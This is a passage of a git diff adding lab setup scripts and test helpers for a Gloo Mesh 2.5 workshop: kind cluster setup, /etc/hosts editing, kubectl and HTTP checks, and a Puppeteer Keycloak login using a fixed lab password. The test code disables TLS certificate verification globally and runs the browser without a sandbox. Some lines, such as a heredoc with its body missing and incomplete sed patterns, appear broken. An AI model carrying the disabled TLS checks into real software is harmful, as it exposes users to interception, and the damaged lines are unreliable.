+sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null +./istio-*/bin/istioctl --context cluster1 pc all -n istio-gateways deploy/istio-ingressgateway -o json > /tmp/current-output +json-diff /tmp/previous-output /tmp/current-output diff --git a/gloo-mesh/platform/2-5/default/scripts/md-to-bash.sh b/gloo-mesh/platform/2-5/default/scripts/md-to-bash.sh new file mode 100755 index 0000000000..30b6a1f93d --- /dev/null +++ b/gloo-mesh/platform/2-5/default/scripts/md-to-bash.sh @@ -0,0 +1,3 @@ +#!/usr/bin/env bash +echo "source /root/.env 2>/dev/null || true" +sed -n '/```bash/,/```/p; //p' | egrep -v '```|' | sed '/#IGNORE_ME/d' diff --git a/gloo-mesh/platform/2-5/default/scripts/register-domain.sh b/gloo-mesh/platform/2-5/default/scripts/register-domain.sh new file mode 100755 index 0000000000..903bd0b714 --- /dev/null +++ b/gloo-mesh/platform/2-5/default/scripts/register-domain.sh @@ -0,0 +1,25 @@ +#!/usr/bin/env bash + +# Check if the correct number of arguments is provided +if [ "$#" -ne 2 ]; then + echo "Usage: $0 " + exit 1 +fi + +# Variables +hostname="$1" +new_ip="$2" +hosts_file="/etc/hosts" + +# Check if the entry already exists +if grep -q "$hostname" "$hosts_file"; then + # Update the existing entry with the new IP + tempfile=$(mktemp) + sed "s/^.*$hostname/$new_ip $hostname/" "$hosts_file" > $tempfile + sudo mv "$tempfile" "$hosts_file" + echo "Updated $hostname in $hosts_file with new IP: $new_ip" +else + # Add a new entry if it doesn't exist + echo "$new_ip $hostname" | sudo tee -a "$hosts_file" > /dev/null + echo "Added $hostname to $hosts_file with IP: $new_ip" +fi diff --git a/gloo-mesh/platform/2-5/default/scripts/snapdiff.sh b/gloo-mesh/platform/2-5/default/scripts/snapdiff.sh new file mode 100755 index 0000000000..51786826eb --- /dev/null +++ b/gloo-mesh/platform/2-5/default/scripts/snapdiff.sh @@ -0,0 +1,6 @@ +mv /tmp/current-output /tmp/previous-output 2>/dev/null +pod=$(kubectl --context ${MGMT} -n gloo-mesh get pods -l app=gloo-mesh-mgmt-server -o jsonpath='{.items[0].metadata.name}') +kubectl --context ${MGMT} -n gloo-mesh debug -q -i ${pod} --image=curlimages/curl -- curl -s http://localhost:9091/snapshots/output | jq '.translator | . as $root | ($root | keys[]) as $namespace | ($root[$namespace] | keys[]) as $parent | if $root[$namespace][$parent].Outputs then (($root[$namespace][$parent].Outputs | keys[]) as $object | ($object | split(",")) as $arr | {apiVersion: $arr[0], kind: ($arr[1] |split("=")[1])} + $root[$namespace][$parent].Outputs[$object][]) else empty end' | jq --slurp > /tmp/current-output +array1=$(cat /tmp/previous-output | jq -e '') +array2=$(cat /tmp/current-output | jq -e '') +jq -n --argjson array1 "$array1" --argjson array2 "$array2" '{"array1": $array1,"array2":$array2} | .array2-.array1' | docker run -i --rm mikefarah/yq -P '.' \ No newline at end of file diff --git a/gloo-mesh/platform/2-5/default/tests/can-resolve.test.js.liquid b/gloo-mesh/platform/2-5/default/tests/can-resolve.test.js.liquid new file mode 100644 index 0000000000..7d1163da97 --- /dev/null +++ b/gloo-mesh/platform/2-5/default/tests/can-resolve.test.js.liquid @@ -0,0 +1,17 @@ +const dns = require('dns'); +const chaiHttp = require("chai-http"); +const chai = require("chai"); +const expect = chai.expect; +chai.use(chaiHttp); +const { waitOnFailedTest } = require('./tests/utils'); + +afterEach(function(done) { waitOnFailedTest(done, this.currentTest.currentRetry())}); + +describe("Address '" + process.env.{{ to_resolve }} + "' can be resolved in DNS", () => { + it(process.env.{{ to_resolve }} + ' can be resolved', (done) => { + return dns.lookup(process.env.{{ to_resolve }}, (err, address, family) => { + expect(address).to.be.an.ip; + done(); + }); + }); +}); \ No newline at end of file diff --git a/gloo-mesh/platform/2-5/default/tests/chai-exec.js b/gloo-mesh/platform/2-5/default/tests/chai-exec.js new file mode 100644 index 0000000000..f454d80bbe --- /dev/null +++ b/gloo-mesh/platform/2-5/default/tests/chai-exec.js @@ -0,0 +1,110 @@ +const jsYaml = require('js-yaml'); +const deepObjectDiff = require('deep-object-diff'); +const chaiExec = require("@jsdevtools/chai-exec"); +const chai = require("chai"); +const expect = chai.expect; +const should = chai.should(); +chai.use(chaiExec); +const utils = require('./utils'); + +global = { + checkKubernetesObject: async ({ context, namespace, kind, k8sObj, yaml }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get " + kind + " " + k8sObj + " -o json"; + let cli = chaiExec(command); + let json = jsYaml.load(yaml) + + cli.should.exit.with.code(0); + cli.stderr.should.be.empty; + let data = JSON.parse(cli.stdout); + let diff = deepObjectDiff.detailedDiff(json, data); + let expectedObject = false; + console.log(Object.keys(diff.deleted).length); + if(Object.keys(diff.updated).length === 0 && Object.keys(diff.deleted).length === 0) { + expectedObject = true; + } + expect(expectedObject, "The following object can't be found or is not as expected:\n" + yaml).to.be.true; + }, + checkDeployment: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get deploy " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).readyReplicas || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + checkDeploymentsWithLabels: async ({ context, namespace, labels, instances }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get deploy -l " + labels + " -o jsonpath='{.items}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let deployments = JSON.parse(cli.stdout.slice(1,-1)); + expect(deployments).to.have.lengthOf(instances); + deployments.forEach((deployment) => { + let readyReplicas = deployment.status.readyReplicas || 0; + let replicas = deployment.status.replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + deployment.metadata.name + " in " + context + " not ready..."); + utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }); + }, + checkStatefulSet: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get sts " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).readyReplicas || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + checkDaemonSet: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get ds " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).numberReady || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).desiredNumberScheduled; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + k8sObjectIsPresent: ({ context, namespace, k8sType, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get " + k8sType + " " + k8sObj + " -o name"; + let cli = chaiExec(command); + + cli.stderr.should.be.empty; + cli.should.exit.with.code(0); + }, + genericCommand: async ({ command, responseContains="" }) => { + let cli = chaiExec(command); + if (cli.stderr && cli.stderr != "") { + console.log(" ----> " + command + " not succesful..."); + await utils.sleep(1000); + } + cli.stderr.should.be.empty; + cli.should.exit.with.code(0); + if(responseContains!=""){ + cli.stdout.should.contain(responseContains); + } + }, + getOutputForCommand: ({ command }) => { + let cli = chaiExec(command); + return cli.stdout; + }, +}; + +module.exports = global; + +afterEach(function(done) { utils.waitOnFailedTest(done, this.currentTest.currentRetry())}); diff --git a/gloo-mesh/platform/2-5/default/tests/chai-http.js b/gloo-mesh/platform/2-5/default/tests/chai-http.js new file mode 100644 index 0000000000..d0b8a42277 --- /dev/null +++ b/gloo-mesh/platform/2-5/default/tests/chai-http.js @@ -0,0 +1,63 @@ +const chaiHttp = require("chai-http"); +const chai = require("chai"); +const expect = chai.expect; +chai.use(chaiHttp); +const utils = require('./utils'); + +process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0'; + +global = { + checkURL: ({ host, path = "", headers = [], retCode }) => { + let request = chai.request(host).head(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expect(res).to.have.status(retCode); + }); + }, + checkBody: ({ host, path = "", headers = [], body = '', match = true }) => { + let request = chai.request(host).get(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + if (match) { + expect(res.text).to.contain(body); + } else { + expect(res.text).not.to.contain(body); + } + }); + }, + checkHeaders: ({ host, path = "", headers = [], expectedHeaders = [] }) => { + let request = chai.request(host).get(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expectedHeaders.forEach(header => expect(res.header[header.key]).to.equal(header.value)); + }); + }, + checkWithMethod: ({ host, path, headers = [], method = "get", retCode }) => { + let request + if (method === "get") { + request = chai.request(host).get(path).redirects(0); + } else if (method === "post") { + request = chai.request(host).post(path).redirects(0); + } else if (method === "put") { + request = chai.request(host).put(path).redirects(0); + } else { + throw 'The requested method is not implemented.' + } + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expect(res).to.have.status(retCode); + }); + } +}; + +module.exports = global; + +afterEach(function(done) { utils.waitOnFailedTest(done, this.currentTest.currentRetry())}); \ No newline at end of file diff --git a/gloo-mesh/platform/2-5/default/tests/keycloak-token.js b/gloo-mesh/platform/2-5/default/tests/keycloak-token.js new file mode 100644 index 0000000000..3ac1a691db --- /dev/null +++ b/gloo-mesh/platform/2-5/default/tests/keycloak-token.js @@ -0,0 +1,4 @@ +const keycloak = require('./keycloak'); +const { argv } = require('node:process'); + +keycloak.getKeyCloakCookie(argv[2], argv[3]); diff --git a/gloo-mesh/platform/2-5/default/tests/keycloak.js b/gloo-mesh/platform/2-5/default/tests/keycloak.js new file mode 100644 index 0000000000..aae79f0fdc --- /dev/null +++ b/gloo-mesh/platform/2-5/default/tests/keycloak.js @@ -0,0 +1,41 @@ +const puppeteer = require('puppeteer'); +//const utils = require('./utils'); + +global = { + getKeyCloakCookie: async (url, user) => { + const browser = await puppeteer.launch({ + headless: "new", + ignoreHTTPSErrors: true, + args: ['--no-sandbox', '--disable-setuid-sandbox'], // needed for instruqt + }); + const page = await browser.newPage(); + await page.goto(url); + await page.waitForNetworkIdle({ options: { timeout: 1000 } }); + //await utils.sleep(1000); + + // Enter credentials + //await page.waitForSelector('#username'); + //await page.waitForSelector('#password'); + await page.type('#username', user); + await page.type('#password', 'password'); + await page.click('#kc-login'); + await page.waitForNetworkIdle({ options: { timeout: 1000 } }); + //await utils.sleep(1000); + + // Retrieve session cookie + const cookies = await page.cookies(); + const sessionCookie = cookies.find(cookie => cookie.name === 'keycloak-session'); + let ret; + if (sessionCookie) { + ret = `${sessionCookie.name}=${sessionCookie.value}`; // Construct the cookie string + } else { + console.error(` No session cookie found for ${user}`); + ret = "keycloak-session=dummy"; + } + await browser.close(); + console.log(ret); + return ret; + } +}; + +module.exports = global; diff --git a/gloo-mesh/platform/2-5/default/tests/utils.js b/gloo-mesh/platform/2-5/default/tests/utils.js new file mode 100644 index 0000000000..9747efaa2c --- /dev/null +++ b/gloo-mesh/platform/2-5/default/tests/utils.js @@ -0,0 +1,13 @@ +global = { + sleep: ms => new Promise(resolve => setTimeout(resolve, ms)), + waitOnFailedTest: (done, currentRetry) => { + if(currentRetry > 0){ + process.stdout.write("."); + setTimeout(done, 1000); + } else { + done(); + } + } +}; + +module.exports = global; \ No newline at end of file